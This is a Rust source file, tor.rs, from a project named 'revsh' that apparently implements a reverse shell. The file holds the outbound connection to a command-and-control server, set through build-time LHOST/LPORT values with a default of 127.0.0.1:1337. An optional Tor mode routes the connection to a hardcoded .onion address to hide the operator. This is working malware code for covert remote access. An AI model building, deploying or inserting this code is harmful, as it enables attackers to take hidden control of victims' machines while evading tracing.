Files
revsh/src/tor.rs
Sivert V. Sæther 9f4d4b8b61 Bug fixes
2025-09-30 15:24:27 +02:00

38 lines
1.3 KiB
Rust

#[cfg(feature = "tor")]
use arti_client::DataStream;
#[cfg(not(feature = "tor"))]
use tokio::net::TcpStream;
#[inline]
#[cfg(not(feature = "tor"))]
pub async fn connect() -> std::io::Result<TcpStream> {
let cnc: String = std::option_env!("LHOST").unwrap_or("127.0.0.1").to_owned() + ":" + std::option_env!("LPORT").unwrap_or("1337");
let sock = tokio::net::TcpSocket::new_v4()?;
let stream = sock.connect(cnc.parse().unwrap()).await?;
stream.set_nodelay(true)?;
Ok(stream)
}
#[inline]
#[cfg(feature = "tor")]
pub async fn connect() -> std::io::Result<DataStream> {
use arti_client::{config::TorClientConfigBuilder, TorClient};
static CNC: &str = match std::option_env!("LHOST") {
None => "revshell63sdjbqiq4avanhqbthgxoostbaitm5e53s37iu7xhlw2uqd.onion",
Some(host) => host,
};
let config = {
let mut conf = TorClientConfigBuilder::default();
conf.address_filter().allow_onion_addrs(true);
conf.build().unwrap()
};
let tor_client = TorClient::create_bootstrapped(config).await.unwrap();
match tor_client.connect((CNC, match std::option_env!("LPORT") {
Some(port) => port.parse().unwrap(),
None => 1337,
})).await {
Err(err) => Err(std::io::Error::new(std::io::ErrorKind::Other, err)),
Ok(stream) => Ok(stream),
}
}